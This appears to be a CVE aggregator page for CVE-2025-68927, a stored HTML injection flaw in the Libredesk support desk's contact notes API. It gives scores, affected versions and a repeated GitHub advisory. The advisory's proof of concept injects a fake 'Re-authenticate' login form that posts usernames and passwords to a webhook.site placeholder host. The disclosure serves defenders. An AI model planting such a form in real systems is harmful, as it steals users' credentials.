Every CVE Search/ Get API key

CVE-2025-68927

Improper Neutralization of HTML Tags in a Web Page in libredesk

7.3 HighFix available

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.23%Up 0.2 points since Dec 27, 2025
90%50%10%1%

What each source reports

CVE List Score used 7.3

Improper Neutralization of HTML Tags in a Web Page in libredesk

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Record
CVE-2025-68927
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-203846 7.3

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Record
EUVD-2025-203846
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-wh6m-h6f4-rjf4 7.3

Libredesk has Improper Neutralization of HTML Tags in a Web Page

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.


Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

  • Arbitrary HTML tags (e.g., <form>, <input>, <img>) are stored
  • The injected HTML is rendered when the notes are viewed in the application
  • No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.


PoC

  1. Log in to LibreDesk and open any contact.

  2. Add a note normally via the UI.

  3. Intercept the request to:

    POST /api/v1/contacts/3/notes
    
  4. Original request body (example):

    {
      "note": "<p>This is a normal note</p>"
    }
    
  5. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

    {
      "note": "<form action='https://webhook.site/xxxx' method='POST'>
                 <input type='text' name='username' placeholder='Username'>
                 <input type='password' name='password' placeholder='Password'>
                 <input type='submit' value='Re-authenticate'>
               </form>"
    }
    
  6. Forward the request.

  7. View the contact note in the LibreDesk UI.

Result: The injected HTML form is rendered inside the application.


Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

  • Credential phishing through injected forms
  • CSRF-style forced actions using HTML-only forms
  • UI redress and social engineering
  • Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Record
GHSA-wh6m-h6f4-rjf4
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
NVD 7.3

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Record
CVE-2025-68927
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 7.3

Improper Neutralization of HTML Tags in a Web Page in libredesk

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

Record
CVE-2025-68927
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-wh6m-h6f4-rjf4 7.3

Libredesk has Improper Neutralization of HTML Tags in a Web Page

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.


Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

  • Arbitrary HTML tags (e.g., <form>, <input>, <img>) are stored
  • The injected HTML is rendered when the notes are viewed in the application
  • No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.


PoC

  1. Log in to LibreDesk and open any contact.

  2. Add a note normally via the UI.

  3. Intercept the request to:

    POST /api/v1/contacts/3/notes
    
  4. Original request body (example):

    {
      "note": "<p>This is a normal note</p>"
    }
    
  5. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

    {
      "note": "<form action='https://webhook.site/xxxx' method='POST'>
                 <input type='text' name='username' placeholder='Username'>
                 <input type='password' name='password' placeholder='Password'>
                 <input type='submit' value='Re-authenticate'>
               </form>"
    }
    
  6. Forward the request.

  7. View the contact note in the LibreDesk UI.

Result: The injected HTML form is rendered inside the application.


Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

  • Credential phishing through injected forms
  • CSRF-style forced actions using HTML-only forms
  • UI redress and social engineering
  • Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Record
GHSA-wh6m-h6f4-rjf4
CVSS 4.0
7.3 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-79
Updated
2026-11-02
OSVGO-2025-4243 No score

Libredesk has Improper Neutralization of HTML Tags in a Web Page in github.com/abhinavxd/libredesk

Libredesk has Improper Neutralization of HTML Tags in a Web Page in github.com/abhinavxd/libredesk

Record
GO-2025-4243
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/abhinavxd/libredesk
Go
before 0.8.6-beta
0.8.6-beta
github.com/abhinavxd/libredesk
Go
All versions None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-68927 is a high vulnerability (CVSS 7.3) in Abhinavxd Libredesk, published December 16, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in github.com/abhinavxd/libredesk 0.8.6-beta.

References

MoveEnter Open